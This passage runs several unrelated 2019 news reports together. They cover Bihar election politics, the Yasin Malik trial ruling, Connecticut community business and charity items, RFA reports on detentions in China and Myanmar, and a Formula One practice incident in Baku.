candidate. "I have requested the CPI and appealed to the party to retire its candidate and support RJD candidate Tanvir Hasan," Tiwari said in Patna. The media has made Kanhaiya a hero across the country, Tiwari said, adding he has no support base in Begusarai. Kanhaiya, incidentally, hails from Bihat, a village in Begusarai. "In the last Lok Sabha polls, Hasan got 3.60 lakh votes in Begusarai despite the Modi wave. The CPI, which contested the polls along with the JD-U (Janata Dal-United), got less than 2 lakh votes. Where is the vote for the party?" Tiwari asked. There are 7 assembly constituencies under the Begusarai Lok Sabha constituency, Tiwari pointed out, and 5 of them are with the RJD and Congress, constituents of the Mahagathbandhan. The CPI on Wednesday stated that Kanhaiya is getting 'excellent' support from all segments of society in Begusarai and urged the RJD to ask Hasan to retire from the triangular contest. CPI General Secretary Sudhakar Reddy asserted that the RJD candidate, the runner-up in 2014, was likely to finish third. 'I would therefore urge RJD leader Tejashwi Yadav to consider our appeal to retire Tanvir Hasan from the contest,' Reddy said. 'He can do this much to help Kanhaiya get a decisive victory since the last date of withdrawal of nominations has elapsed.' Decks were cleared on Thursday for the trial of Jammu Kahsmir Liberation Front chief Yasin Malik in Jammu in two nearly 30-year-old cases relating to gunning down of Indian Air Force personnel and the Rubiya Syed kidnapping, with the Jammu and Kashmir high court striking down a 2008 order that had transferred their hearing to Srinagar. In a 27-page judgment, Justice Sanjay Kumar Gupta also vacated an order by a single bench of the high court which had stayed trial against Malik in 1995, besides observing that the October 25, 2008 order of special Terrorist and Disruptive Activities (Prevention) Act court of Jammu allowing Malik's petition for shifting trial to Srinagar was not correct. "...from bare perusal of contents of petitions and relief sought therein, one can definitely come to conclusion that petitioners (Malik) have sought transfer of their cases from designated court Jammu to additional court at Srinagar, which is not permissible under law," Justice Gupta said in his order. Malik is presently lodged in Tihar jail in New Delhi after being arrested by the National Investigation Agency in a case related to financing of terror and separatists organisations. The two cases relate to the killing of Indian Air Force officers on January 25, 1990 in the outskirts of Srinagar city and the kidnapping of then union home minister Mufti Mohammed Sayeed's daughter in 1989. Two chargesheets were filed by the CBI in August and September 1990 against Malik before the designated TADA court in Jammu. In 1995, he was granted a stay on trial by a single bench of the Jammu and Kashmir High Court as there was no TADA court in Srinagar. In 2008, Malik approached the special court saying that the trial could be shifted to Srinagar as he was facing lot of problems of security in view of the Amarnath row-- an agitation which had divided people of Kashmir and Jammu on religious lines over the issue of leasing out land to outsiders during the annual Amarnath pilgrimage. Central Bureau of Investigation counsel Monika Kohli argued before the high court that the agency had opposed transfer of cases to Srinagar which was rejected. She also informed the court that petitions challenging the order of TADA court were filed with the high court but the same could not be heard so far. During the pendency of trial in this case as well, an application was filed by the accused persons seeking transfer of the case to the designated TADA Court at Srinagar. The CBI filed objections and opposed the application, which was rejected by the order dated April 20, 2009. Highlighting the CBI objections, Kohli also informed Justice Gupta that the TADA court is Srinagar had been abolished and the designated court in Jammu was given jurisdiction throughout the state with headquarters at Jammu in May 1990. Rejecting the argument of Malik's counsel Zaffar Shah as 'not tenable', the court vacated the stay granted by the single bench as also the order of TADA court of 2008. The first case relates to an incident that occurred on January 25, 1990 at Rawalpora, Srinagar. Air Force employees were fired upon by terrorists in which 40 of them, including a woman, received serious injuries and IAF personnel were killed on the spot. On completion of investigation, a charge sheet was filed on August 31, 1990 against Malik and five others before the designated TADA Court at Jammu. The second case relates to the kidnapping of Dr Rubiya Syed. She was going to her house at Nowgam when she was abducted by some unidentified terrorists travelling in the same mini bus. She taken to some unknown place and they threatened to kill her in case their demands were not met. They created terror among the passengers by brandishing gun and pistols. TORRINGTON Torrington Savings Bank has hired David M. Onofrio as vice president, commercial loan officer, to its management team. Onofrio comes to Torrington Savings with more than 20 years commercial loan experience, most recently with Farmington Bank/Peoples United Bank, where he was a vice president commercial loan officer. He has also held positions at Eagle Bank/Webster Bank and Bristol Savings Bank. Onofrio is a graduate of Western New England University, Springfield, MA where he earned his bachelor of science degree in Finance. We are very pleased to have David join our Commercial Lending team, said John E. Janco, president and CEO of Torrington Savings Bank. His background in commercial lending and small business banking will be very beneficial to our clients and the bank as we continue to grow our business banking services at Torrington Savings Bank. Torrington named to housing market award list TORRINGTON Many factors translate into gains in the housing market metrics including increased home value, new construction, homeownership rates, and positive trends in sales prices. To perform well in all of these elements is a huge accomplishment, and Insurify wants to recognize the communities that excel above all others in their state. Torrington has been named to Insurifys Best Up and Coming Housing Markets Awards. Insurify reported that Torrington is the best rising market in Connecticut based on increased home values over the past decade, home value forecasts, current year-over-year median sales price trends, 2018 building permits, and share of homeowners. To determine the best housing markets, the data science team at Insurify, a homeowners insurance quotes comparison site, crunched the numbers on several metrics: Relative increase in Home Value Index since 2009, Home Value forecasts, and current year-over-year median sales price trends, and from Zillow Research. Total building permits issued in 2018 as recorded by the National Association of Home Builders. Proportion of homeowners as reported by City-Data.com. States with insufficient municipal data (Delaware, Rhode Island, South Dakota, and Vermont) were excluded from the analysis. Using a proprietary scoring algorithm, these factors were used to determine the number one community in each state with the best up and coming housing market. The final list contains both large cities witnessing a surge in popularity and smaller locales breaking onto the scene. For a full report, visit https://insurify.com/insights/best-up-and-coming-housing-markets/ Campaign raises $1.36M during Give Local WATERBURY Give Local Greater Waterbury and Litchfield Hills, an online giving event hosted by Connecticut Community Foundation for the seventh year, concluded at 7 p.m. April 24, with donations from 4,494 people topping $1.36 million, according to a statement. The donations are earmarked for 261 nonprofit organizations serving the foundations 21-town service area including Beacon Falls, Bethlehem, Bridgewater, Cheshire, Goshen, Litchfield, Middlebury, Morris, Naugatuck, New Milford, Oxford, Prospect, Roxbury, Southbury, Thomaston, Warren, Washington, Waterbury, Watertown, Wolcott and Woodbury. Connecticut Community Foundation, presenting sponsor Ion Bank Foundation and many other sponsors provided $128,000 in bonus funds to boost all donations during the event. And, while the giving tallies grew in real-time on the Give Local website, nonprofits also vied for $52,000 in cash prizes from sponsors adding fun, excitement and urgency to the friendly competition and giving challenges. Julie Loughran, president and CEO of Connecticut Community Foundation, said, Its just an astounding outpouring of generosity for which we are so grateful. Watching businesses, radio stations, nonprofits, community leaders and residents band together to promote Give Local was particularly inspiring this year. Its a testament to the enduring belief in the collective power of philanthropy to create life-changing benefits, especially for people in need. In New Milford, 32 nonprofit organizations participated in Give Local, and the town got behind them in a big way during the event. New Milford Mayor Pete Bass hosted a breakfast to kick off Give Local on April 23, and signed a proclamation to commemorate the event and to formally urge all citizens who were able to donate to local nonprofits of their choice. Volunteers from many New Milford nonprofits spread the word through signs, postcards, social media and personal outreach. Jeff Kilberg, board member of the Pratt Nature Center in New Milford, got a hand from the local Starbucks. During Give Local, Kilberg and other volunteers distributed event promotional materials from a table and tent in front of the coffee shop; Starbucks provided him free coffee. Diane Swanson, executive director of the Pratt Nature Center, said, The best part about Give Local for us was that New Milford organizations were encouraging each other, helping each other and even giving to each other. A rising tide lifts all boats as the saying goes, and we wanted the tide of giving to lift up all New Milford-based nonprofits by encouraging more residents to give this year in any amount they could. Total dollars raised for each of the participating nonprofits can be viewed on the leaderboard of the Give Local Greater Waterbury and Litchfield Hills website at www.GiveLocalCCF.org. Grand Prizes were awarded through the generosity of the Ion Bank Foundation. Leading organizations by the end of the campaign included: Top recipients: ASAP! ($60,280), Washington Montessori Association ($53,990), Wellspring ($52,401), Roxbury Land Trust ($40,815), Lake Quassapaug Association ($36,260) Most donors: Wellmore Behavioral Health (341), Animal Welfare Society (153), Washington Ambulance Association (153), Southbury Food Bank (141), Washington Montessori Association (119). Established in 1923, Connecticut Community Foundation fosters creative partnerships that build rewarding lives and thriving communities in 21 towns in Greater Waterbury and the Litchfield Hills. The Foundation provides leadership in addressing the regions critical issues, strengthens local nonprofit organizations through grants and technical assistance programs, and works with individuals, families and corporations to establish and steward scholarships and charitable funds. Learn more at www.conncf.org . TORRINGTON For the sixth consecutive year, the Center Subaru dealership has broken its own record donation to the Northwest CT YMCA. Since 2014, Center Subaru, through its Share the Love event, has made annual gifts that have increased each year- the last three being gifts over $70,000. Dealerships owner Phil Porter, presented YMCA CEO Greg Brisco with a check in the amount of $72,750, which now stands as the largest non-capital corporate gift made the Northwest CT YMCA. This gift brings the total donation amount from Center Subaru to over $306,000. Porter made the presentation April 23. The donation, Brisco said, helps assure that the Y will continue to be there for those who need it most and that its programs and services will remain available to everyone regardless of their personal circumstances. Our mission at the Y is to build the spirit, mind and body of every person who comes to us. We welcome all through our doors as they are and help them to become better versions of themselves. Our passion is to help people to thrive, Brisco said. Thanks to Subarus overwhelming generosity, the Y can more effectively make positive impacts to so many adults, children and families. We are so incredibly grateful to Phil Porter, his amazing Center Subaru staff, Subaru of America and especially the new car owners who selected the Y as their charity of choice. Center Subaru continues to lead the way with corporate philanthropy. Its evident the huge impact their support has on so many in Northwest Connecticut. Center Subarus donation, which was the result of its Share the Love 2018 campaign, marks the sixth year the Y was selected as the dealerships hometown charity. The gift comes about through the hard work of the Center Subaru team, and the generosity of Porter who stands as the only dealer in the Subaru of New England network to 100 percent match what is awarded by Subaru of America during the November to January Share the Love campaign. The campaign included donations of $250 for every new car purchased between Nov. 15, 2018 and Jan. 2, 2019. Customers purchasing new Subaru vehicles were given four national charities and the dealers choice of a hometown charity to choose between. The dealers are given an option to match the $250 donation from Subaru of America. Center Subaru matched all $250 donations. Center Subaru has a great relationship with the Y and this year, while we reach our 30th year serving Torrington and NW Connecticut, we're especially proud to reach another most ever donation to them, Porter said. We're appreciative of Subaru of America also reaching a milestone this year, with $140 million in donations during the 11 years of the Subaru Share the Love sales event. In 2018, more than $167,000 in financial assistance was awarded by the Y to assure that children and families could participate and benefit in the Ys programs and services. In total, 775 received financial assistance over the course of the year. Torrington Mayor Elinor Carbone recently said, Torrington is fortunate to have organizations that identify a need in the community and pledge to fill that need. Our NW CT YMCA, and Center Subaru have set a very high bar for their enduring commitment to the health and wellness of our Torrington residents. We are incredibly grateful for Center Subarus Share the Love campaign that continues to meet, and exceed, its donations to the NW CT YMCA year after year. Thank you Center Subaru and NW CT YMCA! For six years, Center Subaru has been named the presenting sponsor of the Ys Grand Prix Race Series, which includes the WYLD Obstacle Run in June, the Canaan Railroad Days Run in July, Highland Lake 10K in October, the 5K Zombie Chase Challenge in November and new in 2019, the May Day 5K. For his continued support of the Y, Porter was awarded the Northwest CT YMCAs prestigious 2018 Legacy Award at its Annual Meeting and Recognition Reception on April 26. KENT Kenise Barnes sat in the courtyard of the Kent Barns complex on a cloudy, chilly spring afternoon. Nearby and inside, workmen were putting the finishing renovation touches on a space that would soon become Barnes second gallery, Kenise Barnes Fine Art. The damp weather did little to subdue the obvious pleasure she felt about the soon-to-be opening of the Kent gallery, which will feature contemporary art. Im very excited about the new space, said Barnes, who also owns a gallery in Larchmont, N.Y. Kent Barns is such a wonderful location with other galleries and shops. There is a real synergy between various businesses here and in Kent in general. When I first walked into the space where the new gallery will be, I said this is it! I was considering doing a pop up gallery in Kent but when I walked into 7 Fulling Lane I was smitten. The space has ambient light coming in through windows at the top of the walls and workmen are establishing a suitable inner shell for art work to be displayed. In a loft, Barnes will show some paintings along with other objets dart. An ample storage space has also been created in the lower, basement level of the gallery. To say that Barnes arrival as the newest member of the Kent gallery scene is somewhat serendipitous would not be a stretch. Lets backtrack a bit. She and her husband, Mark Graf, an engineer, were looking for somewhere to live between Boston and Larchmont five years ago. They happened upon Kent and immediately were enamored with the towns laid back, artsy vibe and purchased a home, a Victorian that they made their domicile. We just love Litchfield County, she said as a light sprinkle began to fall, helping to usher in a new growing season and bring forth leaves and blooms on the trees and shrubs in Kent Barns. The small towns have so much charm and we are still exploring them. I knew I wanted to open a second gallery close to home and this just made sense. It will mean Ill be working probably seven days a week between the Larchmont gallery and here, but, oh well. The new gallery is housed in a contemporary post-and-beam building in the architecturally unique Kent Barns complex. Nestled in the Litchfield Hills, Kent has become a beacon for art and is home to five contemporary art galleries. Another is located off Main Street. The Kent gallery will present new exhibitions throughout the year in the 1,150-square-foot main gallery. In addition to housing flat files, the new loft space will feature small artwork and sculpture. Said Barnes, We will keep a wide selection of inventory on-site in our warehouse in the Kent location. The gallery will be open Thursday through Monday. Barnes modestly explains that she is not an artist herself but someone who knows fine art and displays that art in her galleries. Yet, she was a painting major in college and worked for the uber fine art auction house Christies after graduation. Prior to a six year stint with Christies East in New York City as a specialist in charge of contemporary art, Barnes attended the University of the Arts in Philadelphia where she majored in painting, received a BA in Womens Studies from Temple University, and took courses in Appraisal Studies at NYU. While what I was dealing with was artwork priced in the $50,000 and lower range, I had access to all of the contemporary art that was stored in the companys site where I worked. The Christies specialists were so nice and accommodating as they explained the finer points of the art, the artists and their histories. It was like going to grad school. This is passion for me and the work just seeps into you. We are proud that we deal with artists who have deep resumes and are nationally and internationally known. Barnes said Lani Holloway, who has been managing the Larchmont gallery for almost five years, has been promoted to associate director of that location. Avery Syrig will specialize in art handling, logistics and sales. Stephanie Crawford will handle administrative support and will be joined by part-time employee Sophie Millette in May. Scribble, the gallery dog, will remain in her position as greeter and general happiness manager, and like Barnes, will split her duties between the two locations. While the Internet has become a powerful force for sellers and buyers of fine art, Barnes doesnt necessarily like the trend of the Amazoning of the world. We have a comprehensive website and we do sell on line because we have to in this day and age. But I think if you are going to spend money for a valuable and beautiful work of art you should see it firsthand to completely understand and appreciate what the artist has created. I hope people will come to our gallery in Kent and enjoy the experience. Yet, keeping up with the times, grudgingly or not, Barnes has just launched a new website at www.KBFA.com. The new platform offers enhanced features such as a see in room and an optimized interface for mobile devices, so individuals can browse offerings. While Kent is on her mind, Barnes said, We are grateful for the continued support of our Larchmont community where the gallery has thrived for 25 years. The Larchmont gallery will continue to present exciting programming featuring our established gallery artists, alongside young and emerging talent. There are two exhibitions in Larchmont every six weeks and the gallery maintains an extensive inventory of more than 1,000 works in a warehouse. You can rely on excellent customer service in both locations with a host of ways to enjoy art collecting, including consulting appointments, artwork on approval, delivery, installation, and worldwide shipping. An opening celebration of Kenise Barnes Fine Art on Fulling Lane will be held Saturday, May 11 from 6 to 8 p.m. Visit www.KBFA.com for more information. TORRINGTON State Rep. Michelle Cook, D-Torrington, was honored as the recipient of the 2019 American Association of Nurse Practitioners State Award for Nurse Practitioner Advocate Excellence during the Connecticut Advanced Practical Registered Nurse Societys conference reception Thursday night. This national award is given annually to a dedicated nurse practitioner (NP) and NP advocate in each state. Cook will also be honored at an awards ceremony and reception held during the AANP 2019 National Conference, June 18-23, in Indianapolis. I am honored to be recognized as a 2019 State Advocate by the American Association of Nurse Practitioners for my dedication to key public health issues and those concerning nurse practitioners, said Cook, in a statement. I will continue to advocate for policies that protect Connecticut residents right to healthcare and address barriers to access. Cook, who serves on the legislatures Public Health, Education, Human Services and Legislative Management committees, was nominated for her extensive work on issues affecting the health and wellbeing of Connecticut residents, particularly Public Act 14-12, which expanded the scope of practice for advanced practical registered nurses (APRN), allow them to practice the full extent of their education and training. It also expanded access to care in underserved areas of Connecticut. In addition to this critical piece of legislation, Cook has worked to solicit input from advanced practical registered nurses on key issues such as the opioid crisis, the registration of sober homes and imposing limits on the prescription of medication to friends and family members. Michelle has been a health policy champion for issues affecting NP practice and the residents of Connecticut, said Lynn Rapsilber. She works across the aisle to garner support for legislation, which promotes high quality and access to care for the residents of CT. The State Award for NP Excellence, founded in 1991, recognizes an NP in each state who demonstrates excellence in practice. In 1993, the State Award for NP Advocate Excellence was added to recognize the efforts of individuals who have made a significant contribution toward increasing awareness and recognition of the NP role. WINSTED A New York investor recently purchased the historic Gilbert Clock Shop apartment property at 13 Wallens St. for $5.1 million. The buyer is listed on the towns property database as Ventures LLC, CT3, owned by Hillel Markowitz of Monsey, N.Y. He could not be reached for comment Thursday. The former owner, Gilbert Clock Apartments LLC of Ansonia, was in turn, held by Winsted Investors Group LLC, also of Ansonia. The state lists the investor groups managers as Jerry Nocerino and Charles D. Smith of Ansonia. The two men also own All Star Property Management of Ansonia. Until this month they were listed as the property manager for the Gilbert Clock Shop apartments. The management company did not return a call for comment. Winsted property records show the parcel sold for $2.2 million in 1997 and $3.75 million in 2015. The most recent transaction saw a price increase of $1.4 million. I hope that the level of investment indicates an owner that will be highly engaged in careful and proactive management of the property, said Phillip Allen, chairman of the Economic Development Commission. I believe the investment will increase the towns grand list, and I take it as an expression of confidence in our towns potential for growth, he added. Tax records for the site at 13 Wallens St. show the buildings have more than 60,00 square feet of living space. The 4-story brick and masonry buildings were constructed in 1900 and sit on a 2.2-acre site. A listing on apartments.com has a 2-bedroom 800-square-foot unit available for $850 a month. Information from the100-year-old National Clock Repair Co. of New Hope, Penn., which repairs Gilbert clocks, shows the the clock-making industry got a boost of recognition when the William L. Gilbert Clock Co. opened in Winsted in 1866. The company was originally called Marsh, Gilbert and Company, which was founded by William Lewis Gilbert, the benefactor of the Wm. L. Gilbert High School. Information from the Association of Watch and Clock Collectors shows that by the time he died at the age of 83, Gilbert had amassed a fortune from his ventures. He donated more than $400,000 to build and endow the school, which still carries his name. The Connecticut Historical Society Museum and Library found among its archives a number of letters from the Wm. L. Gilbert Clock Co. written between 1902 and 1912. The correspondence is written on letterhead that illustrates the factory building, the file shows. The topics of the letters, the historical society noted, include instructions for orders, requests for delivery and complaints about the quality of products. Veteran journalist Gao Yu remains under apparent restriction by Chinese authorities, although she has finished serving her jail sentence under house arrest, RFA has learned. Gao, 75, had a seven-year jail term for "leaking state secrets overseas" cut on appeal to five years by the Beijing High People's Court in November 2017. She was then released to "serve her sentence outside jail," with a condition attached that she decline to give interviews to the press. That sentence formally ended on April 23, but Gao appeared to be under continuing restrictions when contacted by RFA. "I can't," Gao said, when asked for comment. "I am out of town traveling right now." Gao had earlier told Radio Television Hong Kong that she had received her prisoner release documents at home on the morning of April 23. Her friend Bao Tong, former aide to late ousted premier Zhao Ziyang, said he hopes that Gao will get her freedom back. "I hope she can truly regain her liberty," Bao said. "In my own case, I was also a counterrevolutionary criminal who was released from prison, but when the sentence was over, I wasn't released ... instead, they took me somewhere else for another year." "I hope that the same thing that happened to me back then doesn't happen again, and ... that the government will stop monitoring Gao Yu, and will restore her full liberty and civil rights," he said. Link to anniversary Beijing-based rights activist Hu Jia, another of Gao's friends, said Gao's unknown location could be linked to the 30th anniversary of the 1989 student-led democracy movement on Tiananmen Square and the subsequent massacre of unarmed civilians by the People's Liberation Army, which falls this year. "Her sentence may be completed, but she may still not be able to freely associate with other people, without restriction," Hu said. "This year in particular is an unusual one, because it's the 30th anniversary [of the Tiananmen massacre] and also the 70th anniversary of Chinese Communist Party rule." "Legally speaking, Gao Yu is free, but that's not going to change the fact that she is going to remain under surveillance to some extent," he said. Forbidden topics Gao was initially detained in April 2014, as she planned to mark the 26th anniversary of the PLA crackdown that left hundreds, possibly thousands, dead on the night of June 3-4, 1989. During her November 2014 trial, Gao was accused of leaking party policy Document No. 9 to a Hong Kong-based media outlet. Document No. 9 lists "seven taboos" to be avoided in public debate, including online and in China's schools and universities, including democracy, freedom of the press, judicial independence, and criticism of the party's historical record. Her defense team argued that the document was already available online, and that the media organization in question could easily have downloaded it elsewhere. Gao has denied breaking Chinese law, saying that a televised "confession" on which the prosecution based its case was obtained under duress. Her sentencing sparked an outcry among rights groups and fellow activists, who said there was no evidence that she broke Chinese law. Reported by Wen Yuqing for RFA's Cantonese Service. Translated and edited by Luisetta Mudie. Bai Xiurong, an ethnic Mongolian herder and WeChat discussion group administrator from China's Inner Mongolia Autonomous Region, in an undated photo. Chinese authorities in the northern region of Inner Mongolia have detained two more group chat moderators on the social media platform WeChat after they took part in demonstrations in support of herding communities, a New York-based rights group said on Friday. Ethnic Mongolian herders Bai Xiurong and Altanbagan, were detained by riot police at the scene of a demonstration outside government offices in Urad Middle Banner on April 22, the Southern Mongolian Human Rights and Information Center (SMHRIC) said in a statement on its website. More than 100 herders from the banner, a county-like division, had gathered in front of the local government building to demand a meeting with Bu Xiaolin, chairman of the Inner Mongolia Autonomous Region, who was on a visit to the area, it said. Around a dozen people were detained, while Bai and Altanbagan were "thrown into SWAT vehicles" and each handed a 14-day administrative detention sentence, which is handed down by a police committee without the need for a trial. Bai Xiurongs sister was summoned yesterday ... She was forced to surrender Bai Xiurongs phone," SMHRIC quoted herder Tsetseg as saying in an audio message. "The [police] accessed her phone and wiped out all the WeChat discussion groups she maintained," he said. Since Bais arrest, her disabled elderly parents, who need constant care, have been left unattended, and her livestock have gone without food or water, SMHRIC said. Herders also traded information about the detentions on WeChat, in spite of the group chat shutdowns, it said. "Some were released around midnight and the early morning of April 23 while [the rest of us] herders staged a sit-in outside the government building, demanding the immediate release of all arrested herders," an unidentified local herder said via the social media platform. Footage of the protest sent to SMHRIC showed hundreds of police arriving at the scene. One protester says in the video: "We are treated like animals. They rounded up us like fencing up livestock," he said. "Whoever comes to the government to express his or her opinion is arrested like this." Three writers detained The detentions come after authorities in the region detained three ethnic Mongolian writers for speaking out for their ethnic group in the face of action by Chinese government officials and companies. Tsogjil, 40, who hosted a number of discussion groups on the social media platform WeChat, was detained on April 16 in the regional capital Hohhot. He had been preparing to file an official complaint with the regional government on behalf of ethnic Mongolian herders in Heshigten Banner. O. Sechenbaatar, 68, was detained along with a herder named Baldan at a protest near Lake Dalainuur in the region's Heshigten Banner earlier this month. He has been placed under criminal detention on suspicion of "obstructing officials in the course of their duty," it said. Sechenbaatar had also hosted a number of WeChat groups to provide local Mongolian herders with a venue to discuss the pressing issues in their communities, including mining, environmental destruction, pollution, and herders protests, SMHRIC said. Tsogjil had used one of his WeChat groups to rally herding communities to a protest outside the Heshigten Banner government, calling for Sechenbaatar's release. Both writers are being held at the Heshigten Banner Detention Center. Earlier this month, ethnic Mongolian author Lhamjab A. Borjigin, 75, stood trial on charges of "separatism" and "sabotaging national unity" at the Shiliinhot Municipal Peoples Court. For his book China's Cultural Revolution, published in 2006, Lhamjab gathered oral testimonies of survivors of violence against ethnic Mongolians during the Cultural Revolution, a task that took him 20 years. The book accuses the ruling Chinese Communist Party of state-sponsored genocide in the region, detailing torture techniques and detentions in a brutal campaign that claimed the lives of at least 27,900 people and imprisoned and tortured 346,000. Ethnic Mongolians, who make up almost 20 percent of Inner Mongolia's population of 23 million, increasingly complain of widespread environmental destruction and unfair development policies in the region. Clashes between the authorities or Chinese state-backed mining or forestry companies and herding communities are common in the region, which borders the independent country of Mongolia. But those who complain about the loss of their grazing lands are frequently targeted for harassment, beatings, and detention by the authorities. Reported by RFA's Mandarin and Cantonese Services. Translated and edited by Luisetta Mudie. The relatives of villagers detained by the Myanmar military meet with Rakhine state officials in Sittwe, western Myanmar's Rakhine state, April 25, 2019. The Myanmar military said Friday that it did not torture three dead ethnic Rakhine villagers it detained with two dozen others for having alleged connections to the rebel Arakan Army in war-torn Rakhine state, amid accusations by family members that the men died at the hands of soldiers during interrogation. Government soldiers took the 27 villagers from Letka village in Mrauk-U township on April 10 during fighting with the Arakan Army (AA) that has raged in the region since January as the rebel force seeks greater autonomy for Buddhist Rakhines in the western state. Colonel Win Zaw Oo, spokesman for the Myanmar militarys Western Command responsible for Rakhine state, told RFAs Myanmar Service that three detainees passed away while in detention. Zaw Myo Tun died of a heart attack, Thein Tun Sein died of suicide by hanging, and Maung Than Nu died from the effects of drug withdrawal, he said. When asked by RFA if the military had notified the families about the deaths, Win Zaw Oo said he did not know. Agence France-Presse reported Friday that police told the families that the dead captives had already been cremated, and that their relatives would seek legal action against those responsible, citing the nephew of one of those who died. A regional lawmaker said he believes the men were tortured to death during interrogation while in custody, and that the militarys public announcement of the deaths is an attempt to cover up the truth. Oo Hla Saw, who represents Mrauk-U township in the Rakhine state parliament, told RFA Thursday that he is highly suspicious of the deaths and that the central government bears responsibility for disclosing the truth. The military may have its own military disciplinary [code], but there will be violations during armed conflicts anyway, he said. There is no such thing as zero violations. There will always be human rights violations during war, he said. Instead of trying to cover up such cases, they should have given journalists an opportunity to uncover the truth. Oo Hla Saw also said the governments information minister should release unbiased information in real time to disclose the truth behind such cases. The Union government is entirely responsible for that, he added. Wheres the evidence? Win Zaw Oo, however, pointed to autopsy reports from Sittwe General Hospital, confirming that the men did not die of torture. What kind of evidence do you have to assume these detainees died from torture? he said. We have the autopsy results of the bodies at Sittwe General Hospital. The conclusion should be based on these results. We have officially transferred the bodies to Sittwe General Hospital to perform post-mortem examinations, he said. The results from the autopsies are unquestionable. We have been careful to have the bodies formally examined to avoid suspicion. If the cause of deaths is torture, it will show in the results. When RFA contacted Kyi Lwin, chief of Rakhine states department of health, to confirm the causes of death from the autopsy results, he declined to provide information. We cannot release any information about this case, he said. As for the Rakhine state department of health, we are not authorized to release this information. I am the highest-ranking health official in Rakhine state. When I refuse to answer, no one else will. Phil Robertson, deputy Asia director at New York-based Human Rights Watch (HRW), said on Twitter that Justice must be ensured for these three Rakhine men! Urgent action needed to end Myanmar military impunity for human rights violations. Meanwhile, Myanmar forces will hand over the 24 other detainees to police in a few days, Commander Kyi Lin, chief of the Rakhine State Police Force, told family members of the captives at a Thursday meeting. The relatives of those detained also met with Rakhine state Chief Minister Nyi Pu and Colonel Phone Tint, minister of state security and border affairs in the state capital Sittwe to request visits with their family members. Reporters trying to cover the meetings were not allowed to approach Nyi Pu. Kyan Maung, father of detainee Naing Win, said Kyi Linn promised the relatives that they would be allowed to see the detainees after the military had transferred them. He said they are still under interrogation, Kyan Maung said. After they complete the interrogations, the military will transfer them to the police forces, and then family members can meet the detainees in a few days. He said any family member can come and meet the detainees. Family members wait for Myanmar prisoners to be released from Insein Prison in Yangon during a presidential amnesty marking the Buddhist New Year, April 17, 2019. AFP Second amnesty announced In a related development about detainees, the Myanmar government on Friday announced the release of nearly 7,000 inmates from seven prisons in the second presidential amnesty in two weeks, government spokesman Zaw Htay said. Among them were two political prisoners ethnic Kachin activists Lum Zawng and Zau Jat, who were serving time for defaming the military during rallies calling on the government to help civilians displaced by armed conflict in northern Myanmars Kachin state. During this years first amnesty on April 17, President Win Myint pardoned roughly 9,500 criminals to mark Myanmars Buddhist New Year, but only two were political prisoners. Principally, those who were released during the New Year included old, young, or those in poor health as well as drug offenders who had followed prison regulations, Zaw Htay said at a press briefing in the capital Naypyidaw. The laws pertaining to drug users have been amended, and those who served jail terms before the amendments were also among those released, he added, referring to changes to the countrys Narcotics Law in 2018 and the adoption of a policy to provide treatment to addicts rather than imprison them. Some 6,000 additional prisoners are expected to be released soon in a third amnesty, Zaw Htay added. The prisoners freed Friday were from jails in Kachin, Kayah, and Karen states and Sagaing, Tanintharyi, Bago, and Magway regions. The amnesty was not extended to those incarcerated in prisons in the commercial hub Yangon, including two Reuters news agency reporters serving seven-year sentences for possessing state documents about atrocities committed during a crackdown on Rohingya Muslims by security forces in Rakhine state in 2017. Two activists freed As part of the second amnesty, authorities freed nearly 1,370 inmates, most of whom were serving time for drug offenses, from Myitkyina Prison in Kachin state. Among those released were two ethnic Kachin activists imprisoned for demanding that the government assist displaced villagers trapped in the states conflict zones. Kachin lawyer Lum Zawng, Zau Jat of the Kachin National Social Development Foundation, and Nang Pu of the Htoi Gender and Development Foundation, were sentenced in December 2018 for defaming the Myanmar military during rallies earlier that year, calling on the government to end the fighting and help civilians affected by armed conflict. The three activists were sentenced to six months in prison and each fined 500,000 kyats (U.S. $325), though Nang Pus term was reduced to four months due to health reasons. We already have served nearly five months, Lum Zawng said. Now they are freeing us just when we are about to finish our time. He also accused the ruling civilian-led National League for Democracy (NLD) government of releasing him and Zau Jat for political purposes. It seems like the NLD is exploiting us for its own political benefit, he said, adding that the activists objected to a statement issued Monday by military-controlled Home Affairs Ministry that said there are no political prisoners in the country, only offenders jailed under existing laws and the Penal Code for criminal acts. Nang Pu said that now that her two fellow activists have been freed, all three of them would file an appeal of their sentences. We had to serve time because the court decided we were guilty, she said. As it was not so, an appeal will be made at the Union [government] level. We hope that all political prisoners who have been imprisoned for standing up for the people are released soon, she said. Zau Jat said that many of the young offenders imprisoned for drug violations had been let down by the state. We feel sad to have witnessed drug problems in the prison, he said. All the drug offenders have now been released with a pardon, he said. No one is left in the prison. Its unimaginable that this was the fate of our people [because] the government failed to address drug problems with effective policies. Of Myanmars current 364 political prisoners, 44 have been sentenced, 90 are being tried while they are in prison, and 228 are in the process of being charged, according to the Assistance Association for Political Prisoners (Burma) (AAPP), a human rights NGO based in Mae Sot, Thailand. Legal tools of oppression Rights groups have blasted a recent series of arrests of peaceful critics of the military and the government, including satirical performers, political activists, and journalists, dealing further blows to freedom of expression and press freedom in the developing democracy. On Friday, HRW called on Myanmars parliament to repeal or amend repressive laws used by authorities and officials to stifle their critics, during its next session which begins on April 29. Myanmars government should be leading the fight against the legal tools of oppression that have long been used to prosecute critics of the military and the government, said Brad Adams, HRWs Asia director, in a statement. During military rule, [Myanmar leader] Aung San Suu Kyi and many current lawmakers fought for free expression, yet now the NLD majority in parliament has taken almost no steps to repeal or amend abusive laws still being used to jail critics, he said. Reported by Thiri Min Zin, Win Ko Ko Latt, and Elizabeth Jangma for RFAs Myanmar Service. Translated by Nandar Chann, Ye Kaung Myint Maung, and Khin Maung Nyane. Written in English by Roseanne Gerin. The first practice session of the 2019 Azerbaijan Grand Prix Formula One motor race was abandoned after only 10 minutes on April 26 after British racing driver George Russells car struck a loose drain cover at high speed scattering fragments of the cars floor across the course and forcing him to stop. Making matters worse for Russell, a member of the Williams racing team, the tow truck that was taking his car back to the pits struck a bridge and fluid from its damaged crane spewed out onto Russells engine cover. Claire Williams, the deputy team principal of the Williams race team, said it was "not acceptable" that a drain cover on the Baku City Circuit caused serious damaged to Russells car. "The circuit needs to make sure that their drain covers are bolted down properly," she said. "Thats not what Formula 1 tracks should be." "I think theres inevitably going to be quite a lot of damage," Williams said, adding that she will raise the issue with race control. "You can see from the TV that its just taken the whole underside out." Russells accident is not the first time a car from the Williams team has suffered damage because of a loose drain cover on the Baku race course. During the final practice for Azerbaijans inaugural European Grand Prix race in 2016, Williams team driver Valitteri Bottas damaged his car in the pitlane when he hit a dislodged 